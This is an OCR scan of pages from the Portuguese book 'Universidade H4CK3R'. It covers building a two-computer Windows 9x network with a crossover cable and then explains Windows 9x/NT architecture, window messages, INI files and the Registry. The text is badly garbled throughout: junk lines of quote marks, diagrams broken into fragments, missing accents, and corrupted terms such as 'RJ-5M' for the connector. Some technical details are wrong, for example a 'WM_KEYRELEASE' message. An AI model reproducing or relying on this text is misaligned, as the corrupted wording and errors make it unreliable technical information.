""""""",,,,,,,,,,,,.,,,,,,, """""
"""""'''''''''''''''''''''''' "''''''''
'''''''''''''''''''' """ """" "''''' ",
""""""""""""''''''''''''''''''''
""""""""""""""""""""""
""""""""""""''''''''''''''''''''
...............................
.......................
.
11111111111111111.
........................
............................... .11111111111111111.
158 I
Redes 1 r
Universidade 1ano
Aps a ftxao da placa, reinicie o computador. Provavelmente o sistema
operacional vai detectar a presena de um novo hardware e apresentar uma
janela com as opes para a instalao. Opte sempre por instalar os drivers
originais que acompanham a placa. O Windows vai concluir a instalao e
ento s repetir o processo no outro computador. Aps decidir onde as m-
quinas ftcaro localizadas, chega a hora de colocar os cabos para concluir a
parte fsica da rede.
Como estamos tratando da conexo de apenas dois micros, usaremos
cabo conhecido como cross-over. Os cabos de rede possuem pequenos ftos que
devem estar dispostos em uma certa seqncia para que possa haver a troca de
dados, no caso do cross-over, preciso inverter alguns desses ftos. As lojas de
informtica j vendem esses cabos prontos, mas, se voc quiser aprender como
mont-Ios, observe no quadro abaixo a seqncia correta de clipagem no cabo,
lembrando que o conector (ponta do cabo) deve ser RJ-5M:
Ponta A
1- Branco/iaranja
2- Laranja
3- Branco/Verde
4- Azul
5- Branco/Azul
6- Verde
7- Branco/Marrom
8- Marrom
Ponta B
l~Branc()/Verde .
2- Verde
3- BrancolLaranja
4- Azul
5- Branco/Azul
6- Laranja
7- Branco/Marrom
8- Marrom
Agora, basta apenas configurar os computadores para estabelecer uma
conexo de rede. Ateno! Nunca use um cabo cross-over em uma rede com
hubs. A risco de danillcar o equipamento.
Configurando a rede
Com todas as instalaes de hardware completas, chega a hora de conftgurar os
computadores. Para montagem da rede, vamos utilizar o protocolo TCP/lP visto
anteriormente, pois esse mais flexvel e conftvel.A conftgurao do endereo IP
ftca a critrio de quem est montando a rede, isso porque o prprio Wmdows
pode designar um IP automaticamente para cada mquina se desejado. Aqui, ns
atribuiremos manualmente os IPs.
Windows 9.x
Em primeiro lugar, voc dever utilizar a faixa IPs que esto reservadas para as
redes domsticas. Esse nmero ftca entre 192.168.0.1 e 192.168.255.254, alm
disso, o endereo de cada micro deve ser diferente para que no haja conflito
entre os dois. Tambm devemos conferir se o protocolo TCP/lP est instalado.
Para tanto, abra o painel de controle e v em "Redes", se o protocolo no estiver
1591
IRedes 1
IUniversidade H4CK3R I
listado na guia "Configurao", ento ser necessrio instal-Io. Aproveite tam-
bm para instalar o "Cliente para redes Microsoft" e o "Compartilhamento de
arquivos e impressoras para redes Microsoft". Ento, dique no boto
"compartilhamento de arquivos e impressoras" e marque a opo "Desejo que
outros usurios tenham acesso aos meus arquivos".
Aps decidir o nmero de Ip, hora de prosseguir. Abra novamente o
cone de redes no painel de controle, escolha o protocolo TCP/lP e clique no
boto de propriedades. Uma nova janela ser aberta, ento clique na guia "En-
dereo IP" e marque a opo "Especificar um endereo IP", preencha o campo
do IP com o nmero de sua preferncia e, no campo da sub-mscara de rede,
voc deve colocar o seguinte nmero: 255.255.255.0.
Agora ns devemos identificar o computador e o grupo de trabalho, para
isso, dique na guia "Identificao" na janela de redes. Lembrando que o nome
dos computadores pode ser diferente, mas a grupo de trabalho deve ser o
mesmo. O computador ser reinicializado, mas desta vez, ele pedir uma senha
e um login para a rede.
Pronto, se os dois computadores estiverem conectados e configurados
corretamente, voc deve ter sua rede rodando sem problemas. Para comparti-
lhar uma pasta, basta apenas clicar com o boto direito do mouse na pasta
desejada e acessar as opes de compartilhamento.
I I
Redes1 [
Plataforma
Windows
Captulo
"Aujourd'hui rOI;demain rien ",I
(Ditado popular francs]
1 Hoje rei. alllanl1 nada.
IUniversidade H4CK3RI
Costuma-se dizer que mais de 90% dos computadores destinados ao usurio
final - seja em empresas ou em casa - possuem algum sistema Microsoft
Windows instalado. Esses nmeros podem at ser questionados, mas inegvel
que a empresa fez um bom trabalho de usabilidade (e de marketing!) para
fazer o usurio e o desenvolve dor de software acreditarem que o Windows a
nica opo de sistema operacional para leigos.
Hoje a realidade at um pouco pior que isso. As pessoas compram seus
computadores em supermercados com Windows instalado de fbrica e acredi-
tam que o programa parte intrnseca da mquina. Elas no acham que preci-
sem de opes. Assim como compra-se um automvel j com o volante, com-
pra-se computadores j com o sistema da gigante de Redmond.
As ~~famlias"Windows
H duas correntes de desenvolvimento do Microsoft Windows, formando qua-
se que duas plataformas completamente diferentes internamente, embora con-
servando a mesma aparncia externa.
Famlia Win9x
Composta pelos sistemas Windows 95, Windows 98 e Windows Me, essa
famlia caracteriza-se por possuir um kernel em parte baseado no antigo MS-
DOS e, portanto, compatibilidade com programas antigos. Tambm por isso
possuem algumas limitaes.
A famlia Win9x uma verso quase totalmente reescrita do Windows 3, que
no era exatamente um sistema operacional. OWindows 3 era considerado por
alguns apenas como uma interface grfica que rodava em cima do MS-DOS.Os
autores concordam com essa afIrmao apenas em parte. O Windows 3 acres-
centava caractersticas h muito desejadas pelos usurios e j presente h al-
guns anos em sistemas Macintosh, como o processamento multitarefa e um
melhor gerenciamento de memria. E o usurio podia interagir com o sistema
utilizando um dispositivo apontador, o mouse. Isso desobrigava-o a decorar de-
zenas de comandos para chamar seus programas e gerenciar seus arquivos. Com
efeito, podemos dizer que o conjunto MS-DOS+ Windows 3 deveria ser consi-
derado um sistema operacional completo.
O Windows 95 era um passo frente. As APIs (Application Programming
Interfaces - uma espcie de "tomada" do sistema operacional em que voc
encaixa o seu programa) foram completamente remodeladas. Mas o kernel do
sistema era um "frankenstein" contendo vrios elementos novos costurados em
uma verso atualizada do velho MS-DOS,embora totalmente escondido. As ver-
ses subseqentes (Windows 98, Windows 98 SE e Windows Me) ainda carre-
gam verses (sempre atualizadas, verdade) desse kernel. Como o MS-DOSera
monotarefa, transform-Io em um sistema multitarefa como o Windows reque-
reu diversos work-arounds e programas externos rodando na rea do usurio e
41
Plataforma Windows [
Universidade 1ano
executando tarefas que seriam do kemel. O gerenciamento de memria um
exemplo. Talvez isso explique a conhecida instabilidade desses sistemas, espe-
cialmente os erros do tipo GPEA adoo do MS-DOScomo ponto de partida
para o desenvolvimento das novas verses do Windows teve, entretanto, a van-
tagem de oferecer compatibilidade a software e hardware antigos.
Famlia WinNT
composta pelos sistemas operacionais Windows NT, Windows 2000 e
Windows :xp2. Sua primeira verso, o Windows NT, foi desenvolvida para ser o
sistema operacional de redes da Microsoft. Utilizando tecnologia de rede do
LANManager com a interface grfica do Windows 3.1 e um novo projeto de
kemel, o Windows NT pretendia brigar num mercado dominado por mquinas
Unix e Novell. Mesmo com desempenho, escalabilidade e confiabilidade, na
poca, menores do que os de seus adversrios, a Microsoft conseguiu, em pou-
cos anos, alavancar o Windows NT como a plataforma de redes mais vivel e
utilizada. Fez isso baseada em trs princpios:
~ Preo baixo: uma licena do Windows NT custava muitssimo menos que
licenas do Novell Netware ou de qualquer sabor de Unix. Erodava em servido-
res baseados em processadores Intel, hardware mais barato que as carssimas
RISCdos Unices.
~ Facilidade de configurao e operao: enquanto os servidores Unix e
Novell possuam interfaces com o usurio baseadas em caractere, o Windows
NT disponibilizava para os administradores de sistema uma interface grfica
semelhante dos micros desktop.
~ Marketing: a mquina de divulgao da empresa, localizada em Redmond,
no estado de Washington, EUA, mundialmente conhecida. Eles foram muito
felizes ao promover o novo sistema operacional de redes da Microsoft, eviden-
ciando ao mximo na mdia os dois princpios anteriores.
Os sistemas operacionais para servidores de rede da Microsoft, impulsiona-
dos pelos trs princpios citados e auxiliados pela inrcia dos concorrentes,
levaram o Windows NT ao primeiro lugar em servidores administrativos du-
rante a dcada de 90. Mas a Microsoft percebeu que havia um mercado tam-
bm para SOs que rodassem nos computadores das pessoas, em casa ou no
escritrio. Essas pessoas necessitavam da estabilidade e confiabilidade que o
kerne1 do Windows NT proporcionava.
A famlia Windows NT logo ganhou verses para ser usada nas mquinas-
cliente (ou seja, em casa ou no escritrio). Era chamado de Windows NT
Workstation, e possua uma estabilidade muito superior de qualquer mem-
2 Apesar de a Microsoft divulgar que o Windows 2000 um sistema totalmente reescrito, apenas
baseado no Windows NT, sabe-se por fontes no oflciais que ele ainda possui muita coisa intocada do
NT original. O Windows Xp, por outro lado, possui partes do Windows 2000 e do Windows Me, para
garantir compatibilidade com os programas antigos do usurio. O que quer dizer que ainda h
tecnologias do NT, do Win9x e mesmo do velho MS-DOS nele.
1651
I Plataforma Windows
IUniversidade H4CK3RI
bro da famlia Win9x at hoje. Era, basicamente, o kerne1 do NT Server sem os
servios de servidor e com algumas modificaes para adapt-Io aos computa-
dores de mesa. Alguns usurios, cansados de ter de reiniciar a mquina e per-
der dados a cada GPF,migrarampara o Windows NTWorkstation3 .
Mas nem tudo eram flores. O kerne1 do Windows NT era muito diferente do
kernel da famliaWin9x. Quebrar a compatibilidade entre sistemas operacionais
significava quebrar a compatibilidade com software e hardware antigos. Mui-
tos deles simplesmente no funcionariam no Windows NT. O usurio deveria
escolher, ento, entre estabilidade e compatibilidade.
A ltima encarnao do Windows, batizada de XP,pretende acabar com esse
problema. Utilizando tcnicas de convergncia entre as tecnologias das famli-
as Win9x e NT, a Microsoft conseguiu criar uma verso de seu produto mais
famoso que, segundo ela, alia a estabilidade do Windows 2000 e a compatibilida-
de do Windows Me. A verso Server do Windows Xp, chamada de Windows
2003 Server4, deve estar no mercado em meados deste ano.
Nos bastidores...
Qualquer um que tenha o objetivo de se tornar um "hacker" (qualquer que
seja o sentido que voc empregue palavra) deve conhecer profundamente o
funcionamento de pelo menos um sistema operacional. Apesar de os sistemas
Unix serem uma boa escola, por sua modularizao extremamente didtica,
entender o que se passa "nas coxias" dos sistemas da Microsoft ajuda a enten-
der como um sistema pode evoluir, e possveis maneiras de contornar proble-
mas inerentes compatibilidade com tecnologias antigas.
Devido natureza proprietria e fechada dos produtos Microsoft, nem todas
as informaes sobre os sistemas so divulgadas. Este captulo tomou como
ponto de partida o knowledge base autorizado pela empresa. No entraremos
em muitos detalhes a respeito do kernel do sistema.
Estrutura
De uma forma geral, ambas as famlias do sistema operacional Windows em-
pregam o conceito de microkernel: apenas os servios mais bsicos so
implementados. Todos os outros so executados por programas externos, que
rodam em user mode, ou seja, como programas comuns. Grosso modo, isso
significa que o usurio pode perigosamente ter acesso a partes do kernel.
3 Alguns usurios tentaram outros sistemas, como o OS/2 (antes de ser morto pela IBM), o Macintosh
(neste caso, substituindo no s o software, mas todo o computador) e, mais recentemente, opes
como o BeOS, o FreeBSD e o linux. Com exceo do OS/2 e do BeOS (recentemente descontinuado), a
maioria das pessoas que migrou para outras plataformas no retornou ao Windows. Sintomtico?
4 Essa verso teve oficialmente quatro nomes diferentes, e outros tantos extra-oficiais. Chegou a ser
chamada de Windows .NET Server numa referncia s novas tecnologias baseadas em XML da empre-
sa, mas ao que parece a Microsoft desistiu da associao no nome. Mesmo assim, o produto est sendo
chamado no site da empresa de "o aglutinador das tecnologias .NET" ("the glue to all .NET technologies'').
,61
Plataforma Windows I
Universidade 1ano
UserMode
,
,
,
,
,
,
,
,
,
"
, .
,
,
,
,
~~"
~~
Kernel Mode
Hardware
Internamente, as duas famlias de produtos Windows so muito diferentes,
embora exista uma camada de compatibilidade para que ambas as plataformas
possam compartilhar os mesmos drivers de equipamentos e perifricos, os
famigerados Device Drivers. A famlia NT possui ainda camadas de compatibi-
lidade de software que permite ao sistema operacional executar com sucesso
programas desenvolvidos para a famliaWin9x e mesmo para padres aliengenas
como UnixIPOSIX,Windows 16 bits e OS/2 da IBM.
~ Famlia Wm9x
Acessrios
Programas
Shell de32-bits
C:J
]I
NcleodoWindows98("core")
Registro
[
EJ
I
Gerenciadorde
sistemasde
arquIvos
instalveis(lFS)
Gerenciadorde
Configurao
Gerenciadorde
DriversWDM
Oevice Orivers
1671
I Plataforma Windows
IUniversidade H4CK3RI
Observe atentamente o diagrama. A estrutura interna do Windows 9x apa-
rentemente modular. H uma diviso clara entre o ncleo (normalmente cha-
mado de core) e as outras partes do sistema. Tal diviso, embora visvel no
papel, extremamente tnue na prtica. Vrios processos crticos do sistema
rodam na mesma rea de memria e disputam os mesmos recursos de
processamento que os programas do usurio. Apesar de simplificar o desen-
volvimento do SO e permitir compatibilidade com hardware e software lega-
dos, no h como escapar das instabilidades que essa estrutura acarreta.
Os programas do usurio (planilha, editor de textos, navegador, etc.) no acessam
o ncleo diretamente. Cada programa de 32 bits roda em uma mquina virtual
separada, e tem a impresso de possuir um hardware e um ncleo do sistema
operacional exclusivos. Programas antigos para o MS-DOStambm rodam em
mquinas virtuais separadas, mesmo porque eles tendem a capturar todos os re-
cursos da mquina para si e, no fossem as mquina virtuais, seria impossvel rod-
los no Wmdows.J os programas de 16 bits do Wmdows 3, devido sua natureza
multitarefa colaborativa, rodam todos numa mesma mquina virtual de 16 bits.
H um shell para intetfacear as mensagens entre cada mquina virtual dos progra-
mas e o ncleo real do sistema.Esseshell tambm se encarrega de fornecer os widgets
(botes, barras de rolagem, indicadores de progresso, decorao das janelas) para as
aplicaes e de mostrar as janelasj montadas para o usurio, de forma que ele possa
interagir com o sistema.Esseshell tambm fornece alguns dos utilitriose ferramentas
do sistema,como o Wmdows Explorer,o Painel de Controle e o Ambiente de Rede.
Registro
! N,eodoWindows 98("core") ,/ I
tE
Gerenciadorde
sistemasde
II
Gerenpiadorde
arquivos Configurao
instalves(lFS) ,
Gerenciadorde
DriversWDM
(Botes,barras de progresso,caixas de dilogo
modos devisualizaode janelas...)
o corao da famlia Win9x o core system. Composto por trs componen-
tes: o kernel, responsvel pelo controle de processos, de EIS e do hardware; o
user, que controla os elementos manipulveis pelo usurio (janelas, eventos
disparados pelo usurio, cones, menus) e multimdia; e o GDI ou Graphics
Device Interface, que interage com o hardware de vdeo. O subsistema de im-
presso tambm est situado no GDI.
1681
Plataforma Windows [
Universidade 1ano
Acessrios
Programas
Shell de 32-bits
C :J
]I
Registro
Ncleo do Windows 98 ("core")
VMM
Gerenciador de
sistemas de
1I
Gerenqi-aor de
arquivos COr)fiyurao
instalveis(lFS) ,
Gerenciador de
Drivers WDM
~y-evice Orivers
GOl
Kernel
A famlia Win9x tem o compromisso de ser compatvel com aplicativos
antigos de 16 bits do Windows 3.11 e mesmo do MS-DOS.Portanto, os com-
ponentes kernel, user e GDI do ncleo so, na verdade, duplas de arquivos.
Os componentes correspondentes do ancio Windows 3.11 ainda esto pre-
sentes e os aplicativos antigos os acessam. Esse um dos maiores calcanha-
res-de-aquiles da famlia Win9x: os programas de 16 bits no trabalham em
modo protegido, nem acessam um core que trabalhe nesse modo. O resulta-
do a destruio completa da preempo multitarefa do sistema e do
gerenciamento de memria.
Entre o ncleo e os drivers para os dispositivos de hardware existe uma cama-
da tambm de interface, com rotinas que tornam o core do Windows indepen-
dente do hardware utilizado. Um dos componentes dessa camada o VMMou
Virtual Machine Manager. o VMMque cria e administra cada uma das mqui-
nas virtuais para todos os programas do usurio, e o prprio ncleo do sistema
tem sua prpria VM.
"im
.
' .''''''''.'
EI ............
<, Programas
Shell de 32-bits
Registro
Ncleo do Windows 98("core")
Gerenciador de
sistemas de
II
Gerenciador de
II
Gerenciador de
arquivos Configurao Orivers WOM
instalveis (lFS)
Agendador
de processos
Interdacepara
o MS-DOS
emmodo
protegido
Device Orivers
1691
I Plataforma Windows
IUniversidade H4CK3R I
Outro componente dessa camada o IFS ou Installable File System. O siste-
ma no preparado para reconhecer um nmero [mito de sistemas de arqui-
vos de maneira nativa. Emvez disso, o IFSpermite que novos file systems sejam
"plugados", fornecendo assim compatibilidade para virtualmente quaisquer ti-
pos deles - basta que algum escreva o mdulo correspondente. rC :J
I Programas I
Acessrios I'
Shellde32-bits II Registro
Ncleo do Windows 98 ("core")
~~/[~V~M~~I ..
: ..o,', " "Gr~~Ciadorde
~ ~ . I I Config'!:Ir~o
_-"_~44-ft~-" . ' , '. ..
Gerenciador de
Drivers WDM
Gerenciador de EIS (lOS)
Camadas SCSI
~
o
~
J
o
Camadas diversas*
Oriver de conexo
Mini-camada de conexo SCSI
O Gerenciador de Configuraes,
por outro lado, o responsvel pela
auto-matiz ao da instalao de
hardware Plug and Play e seus drivers.
I O mdulo rege todo o processo de
instalao, configurao e desins- [
talao, e mantm atualizada a base
de dados de hardware no Registro.
Acessrios
Programas
Shell de32-bits
170I
Plataforma Windows r
Ncleo do Windows 98 ("core")
GeJ8Ilciada(d""
.
s";s
,
tem
,
asde .., " I'
arquIvos , , . ,I
instalveis (IFS)
- .
Gerenciadorde
DriversWDM
Universidade 1ano
Por fIm, o WDM (Win32 Driver Model) uma camada de traduo entre os
drivers de dispositivo e o ncleo. Ele "engana" o driver, fazendo-o pensar que
est instalado no kernel de um Windows NT. Com isso, fornecedores de
hardware podem desenvolver drivers que funcionem em ambas as platafor-
mas indiferentemente.
A camada do sistema operacional mais prxima do hardware a de device
drivers. Estes so compostos por dois tipos complementares de drivers, os
Universais e os Mini-drivers. Veja a ilustrao:
DeviceJ
Os drivers Universais so grandes guarda-chuvas com especifIcaes genri-
cas para os dispositivos. Por exemplo, h um driver chamado Universal Modem
que contm informaes genricas compartilhadas pela maioria dos modens.
Isso facilita sobremaneira o desenvolvimento de drivers com as caractersticas
especficas. Tais caractersticas so implementadas em drivers auxiliares cha-
mados de Mini-drivers. No nosso exemplo dos modens, um fabricante pode se
basear no driver Universal e escrever um Mini-driver apenas com as
especifIcaes que diferirem. Note ainda que muitos dispositivos de hardware
podem trabalhar somente com o driver universal.
O tipo de driver mais comum o Virtualization Driver, ou VxD.Alguns dispo-
sitivos de hardware devem ser capazes de atender simultaneamente a solicita-
es de diversos programas. Esses dispositivos usam VxDs para criar vrias ins-
tncias de si mesmos. Cada mquina virtual do sistema pensa, ento, que o
hardware em questo exclusivo para si.
O ltimo elemento , em companhia da Interface com o Usurio, o mais palp-
vel. O Registro um banco de dados que guarda as confIguraes globais de todo
o sistema, bem como as de cada aplicativo. Qualquer alterao comportamental
ou de funcionamento do sistema deve ser efetuada no Registro.
~ FamliaWinNT
A arquitetura da famlia WinNT difere radicalmente da famlia Win9x. Nela, h
uma separao explcita entre o modo de operao do kerne1 e o modo de
operao do usurio. Os programas do usurio rodam em um espao de mem-
ria exclusivo e possuem um tempo determinado de uso de cpu. Os processos
rodando no modo kerne1 esto, dessa forma, protegidos contra a ao predat-
ria de programas "mal-educados".
I 71 I
1 Plataforma Windows
IUniversidade H4CK3R I
System
Support
processes
Service
Processes
User
applications
Enviroment
subsystems
~ SubsystemOLls J
User Mode
Kernel Mode
Executive
~~r~elm ..ml[MOevceOriv:rs J
~H.a.rdware .Abstra'~ti.~~...f~Y.~..i::~~~.~~:.:...1
Windowing
andgraphics
Ao contrrio de sistemas operacionais mais antigos, como o Unix original e
os sistemas de mainframes, o kernel do Windows NT e descendentes no
monoltico. Em vez de carregar todos os tipos de device drivers possveis e
imaginveis dentro da" cachola" ,oWindows emprega o conceito de microkerne1:
um ncleo com apenas os servios mais crticos e essenciais que pode ser
comp1ementado com programas auxiliares externos. A maioria desses progra-
mas externos roda em modo user, deixando o kernel mo de apenas para os
servios de mais baixo nvel e alta prioridade. Tais servios esto divididos em
cinco grandes componentes. O primeiro o GDI, que controla os dispositivos
de vdeo de forma semelhante ao da famlia Win9x.
Os quatro outros componentes - Windows Executive, Kernel, Device Drivers
e HAL- so to intimamente ligados entre si que aparecem num mesmo quadro
em nosso diagrama. O Executive abriga diversos mdulos de interface entre o
kernel e os outros componentes, tanto para o usurio e programas quanto para
o hardware - poderia ser considerado um "shell" do kernel. Os device drivers
trabalham de maneira tambm muito semelhante aos da famlia Win9x, com
arquitetura baseada em VxDs e WDM. Por ltimo, o Hardware Abstraction Layer
ou HAL, fornece uma camada de abstrao para o kernel.
O princpio de funcionamento do HAL muito parecido com o do modelo
Universal!Mini-driver. O HAL"engana" o ncleo do Windows, fazendo com que
ele acredite que o hardware seja sempre o mesmo. Se alguma coisa na arquite-
tura do PC mudar - por exemplo, um novo mtodo de acesso memria -,
basta instalar um novo HAL. No haver necessidade de reinstalar uma verso
mais nova do Windows, muito menos reescrev-Io todo novamente.
Os sistemas da famlia WinNT tambm se utilizam do conceito de Registro
para manter as configuraes do sistema. A estrutura do registro , inclusive,
muito parecida com a da famlia Win9x.
721
Plataforma Windows I
Universidade 1 ano
1
~, 1 /~
.. ; .-:
I I
I I
I I
I I
User Mede
I
I
"
I
: Kernel Mede
.
. . .
Observe as semelhanas e diferenas entre este diagrama e o da famlia Win9x.
Dentro do Executive, temos um mdulo VMM com funo idntica ao do Windows
9x. Trs outros mdulos (Gerenciador de Objetos, de Processos e de Chamadas
de Sistema) cuidam do gerenciamento de instncias de processos e mtodos
para o kernel. Um novo mdulo o Gerenciador de Referncia de Segurana,
que fornece servios de autenticao e segurana para os subsistemas externos.
Lembre-se de que a famlia NT verdadeiramente multiusuria e, portanto, ne-
cessita de rotinas de autenticao e controle de acesso. O ltimo mdulo, chama-
do de Gerenciador de E/S (I/O Manager), agrega os servios de E/S do Windows
para dispositivos de hardware, comunicao externa (serial e redes) e principal-
mente com os dispositivos de armazenamento (discos e fitas).
Os vrios subsistemas que rodam em modo usurio controlam a criao de
mquinas virtuais para as aplicaes dos usurios. Observe que h um subsistema
exclusivo para segurana que apresenta os dilogos de autenticao para o usu-
rio e comunica-se com o Gerenciador de Referncia de Segurana no ncleo
do sistema para prover ou negar acesso.
Queime um pouco de neurnios e tente descobrir como cada um dos mdulos
mostrados a funciona e interage com os outros. Pesquise na Internet at en-
contrar explicaes sobre cada um deles, sem deixar de procurar por nenhum.
Depois disso, largue o livro, arrume-se, saia de casa e v ver gente. Tomar um
chope talvez...
1731
I Plataforma Windows
IUniversidade H4CK3RI
Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, en-
tendemos qualquer atividade em algum hardware - o movimento do mouse,
por exemplo - ou os sinais provenientes de programas - quando uma janela
fechada.
O Windows possui trs entidades principais: programas, janelas e mensa-
gens. Os programas so os aplicativos que as pessoas usam: seu editor de
textos preferido, a calculadora, o jogo de Pacincia ou o emulado r de termi-
nal. Cada programa possui uma ou mais janelas. O usurio se comunica com
os programas atravs do sistema operacional, que se utiliza de mensagens
para tal. Cada programa se comunica com suas vrias janelas tambm atra-
vs de mensagens. .
Os programas so compostos de um ou mais arquivos. Os tipos mais comuns
de arquivos em programas para Windows so os de extenso EXE (as partes
do cdigo especficas daquele programa), DLL(bibliotecas compartilhados de
funes) e, mais recentemente, controles ActiveX (um tipo especial de DLL
contendo extenses multimdia).
As DLLsso componentes importantes nos sistemas Windows. Acrnimo para
Dinamic Link Libraries, elas so bibliotecas de funes que podem ser acessadas
por qualquer aplicativo. Alm de reduzir o tamanho dos arquivos EXE, so as
DLLsque permitem que vrios programas compartilhem o mesmo recurso ou
a mesma caracterstica. Por exemplo, todos os aplicativos para Windows pos-
suem a mesma aparncia devido a uma DLLem especial, a GDI.DLL, que cuida
da interface grfica com o usurio. Praticamente todo o kernel do Windows
baseado em arquivos DLP . Programadores podem, ainda, utilizar funes das
Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto con-
tidas numa DLLchamada MFC.DLL.
Os programas geram diversas janelas. Alm da apresentao visual, as janelas
so entidades que encerram em si dezenas, s vezes centenas, de campos de
informao que controlam cores, tamanho da janela, tamanho da borda, posi-
o dos objetos dentro da janela, etc. Um deles chamado de handJe, que iden-
tifica o programa que gerou a janela. Outro campo o window hand1e, que
identifica a janela com um nmero nico (diferente de zero) no sistema. Um
terceiro campo de interesse o Z-order. a partir dele que o sistema define a
ordem de apresentao das janelas.
Para a comunicao entre o sistema operacional, os programas e suas janelas,
so emitidas mensagens entre eles. Uma mensagem nada mais do que uma
pequena estrutura de dados. Normalmente, ela inclui:
5 Obviamente no estamos considerando as partes do keme1 herdadas do MS-DOS. No Apndice "o Keme1 do
MS-DOS" (que est no CD) temos uma dpida explicao de como funciona o keme1 do MS-DOS.
1741
Plataforma Windows [
Universidade 1ano
~ Timestamp (hora em que foi emitida) da mensagem
~ Identificador da mensagem
~ Identificador da janela (window handIe)
~ Dois ou mais campos para a mensagem em si
o identificador da mensagem informa ao programa ou janela o "assunto" da
mensagem. Os nomes das mensagens so sugestivos, como por exemplo
WM_LBUTTONDOWN (boto esquerdo do mouse foi pressionado) ou
WM_KEYDOWN (uma tecla foi pressionada). Entretanto, internamente cada
um desses nomes substitudo por uma constante numrica. Os nomes so
apenas mnemnicos6.
As mensagens so geradas de forma bem simples. Vamos imaginar uma situa-
o real: o usurio pressionou a tecla "A:'.O teclado envia ao computador um
trem de dados indicando primeiro que uma tecla foi pressionada, depois qual
tecla foi essa e, em seguida, o nmero ASCIIdo caractere correspondente tecla.
Quando o usurio solta a tecla, o teclado ainda envia um sinal indicando esse
evento. Cada pea de hardware em seu computador possui um sinal eltrico
chamado interrupo associado a ela. A ElOS do computador, quando recebe
um sinal de interrupo, pra tudo o que est fazendo e desvia o processamento
para um determinado endereo associado a essa interrupo, e entrega o con-
trole da CPU ao programa que l reside. Esse programa chamado de
manipulador de interrupes ou interrupt handler.
O interrupt handler no um programa da ElOS e sim uma rotina do sistema
operacional, portanto bvio que o Wmdows instalou l seu prprio manipulador
para montar mensagens baseadas nas interrupes recebidas. A mensagem do
exemplo conter o identificador de mensagens WM_KEYDOWN,um nmero iden-
tificando qual tecla foi pressionada e o identificador da janela em que a tecla foi
pressionada. Depois disso, a mensagem ser enviada janela. O teclado gerar
ainda outra mensagem identificada como WM- CHAR,contendo o cdigo ASCII
da tecla. Quando a tecla for solta, gerada uma mensagem WM_KEYRELEASE.
As mensagens geradas vo para uma ma chamada application message queue.
Cada programa possui sua ma, e o Windows direciona corretamente as mensa-
gens para cada um. As aplicaes vo sacando cada mensagem da ma e as
redirecionando para as janelas correspondentes. As janelas, por sua vez, possu-
em funes embutidas chamadas de window procedures, que tratam os dados
recebidos na mensagem e decidem o que fazer com eles. Algumas mensagens
no so direcionadas a nenhuma janela. Tais mensagens caem no procedimento
default do Windows e so tratadas pelo prprio kernel.
6 No objetivo deste livro servir de referncia para programadores. Entretanto, se voc quiser
realmente aprender como vrus e cavalos de tria funcionam no Windows, necessrio que voc domine
um pouco mais de programao do que o bsico de Visual Basic ou DeIphi. Bons pontos de partida so as
documentaes da Microsoft Foundation Classes (MFC), do Windows Software DeveIopment Kit (WSDK)
e o site oficial da Microsoft (www.microsoft.com).
1751
1 Plataforma Windows
I Universidade H4CK3RI
Como mesmo que eu fao aquilo?
Todo sistema operacional possui um mecanismo para manter suas configu-
raes. Com o Windows no podia ser diferente, mas, ao contrrio de vrios
outros SOs que utilizam arquivos de texto puro, a Microsoft criou uma estrutu-
ra compilada (binria) e extremamente obscura de guardar as coisas. H prs
e contras nessa abordagem.
Os arquivos INI
o veterano Windows 3 possua uma maneira aparentemente fcil de manter as
configuraes do sistema. Por meio de arquivos de texto simples com extenso
INI, era possvel definir todas as configuraes do Windows e das aplicaes,
carregar drivers de dispositivo e mdulos para o kernel do sistema operacional.
Inicialmente havia dois arquivos, WIN.INI e SYSTEM.INI.O primeiro armaze-
nava as configuraes referentes ao usurio (cores, cones, posio das jane-
las) e o segundo as partes referentes mquina, ao hardware e ao funciona-
mento interno do Windows - drivers de dispositivo, programas residentes, ca-
minhos e arquivos internos. O arquivo SYSTEM.INIguardava tambm configu-
raes dos programas e aplicativos que o usurio instalava em sua mquina.
Mas a vida era dura antes do Windows 95. Os arquivos INI podiam ter um
tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa
limitao permitia guardar uma quantidade de informaes muito pequena. A
soluo foi colocar, no SYSTEM.INI, apontadores para o local de outros arquivos
INI, e cada aplicao poderia ter o seu. Os programas ainda tinham permisso
de manter suas configuraes no SYSTEM.INI,mas os desenvolvedores eram
encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.INIhavia uma
indicao para o Microsoft Excel (C/OFFICEIEXCEL.INI), e nele o Excel guar-
daria suas configuraes. Simples, no? Nem tanto.
No incio, os usurios instalavam poucos programas. Gerenciar poucos INIs
era tarefa fcil para o Windows e para o usurio. Mas, medida que novos pro-
gramas comearam a aparecer - alguns srios e uma imensa maioria de inutili-
dades repletas de barulhinhos -, j no era possvel desempenhar tal funo com
a galhardia de outrora. Como determinar qual dos arquivos INI (os de sistema e
os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante?
O limite de 64 KBtambm comeou a ficar pequeno para a quantidade de deta-
lhes que cada aplicao tinha de armazenar, e mesmo o SYSTEM.INI estava repleto
de vetores apontando para os outros INIs. Outros fatores contribuam para o au-
mento do tamanho dos INIs: aplicativos que eram desinstalados normalmente no
removiam suas linhas do SYSTEM.INI, e mesmo um simples upgrade de programa
(por exemplo, do WordPerfect 2 para o 3), na maioria das vezes, terminava em
configuraes duplicadas no arquivo. No boot, o Wmdows era obrigado a ler o
contedo de paquidrmicos WIN.INI e SYSTEM.INI, que, mesmo menores do que
64 KB, contribuam para a queda de desempenho do sistema.
761
Plataforma Windows [
Universidade 1ano
Registrar o qu?
A partir do Windows NT, e notadamente no Windows 95, a Microsoft introdu-
ziu uma nova maneira de lidar com essas informaes que fosse, ao mesmo
tempo, centralizada e flexvel. Batizada de Registro do Windows (ou, em ingls,
Windows Registry), o novo sistema de armazenamento alivia o SO de ter de
lidar com uma infmidade de arquivos INI espalhados por diversos diretrios.
Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como
um banco de dados em que so arquivadas todas as configuraes do sistema.
Sempre que um usurio faz alguma mudana no Painel de Controle, altera algu-
ma associao de arquivo ou instala um programa, tais mudanas so guarda-
das nele. O sistema ainda usa o Registro para rastrear os softwares instalados,
seus arquivos e como cada programa se relaciona com os outros.
Em termos puramente lgicos, o registro uma entidade nica, embora este-
ja fisicamente contido em um conjunto de arquivos separados por afinidade de
configurao. Cada um deles possui um tamanho limite de 40 MB- mais do que
suficiente para qualquer aplicao.
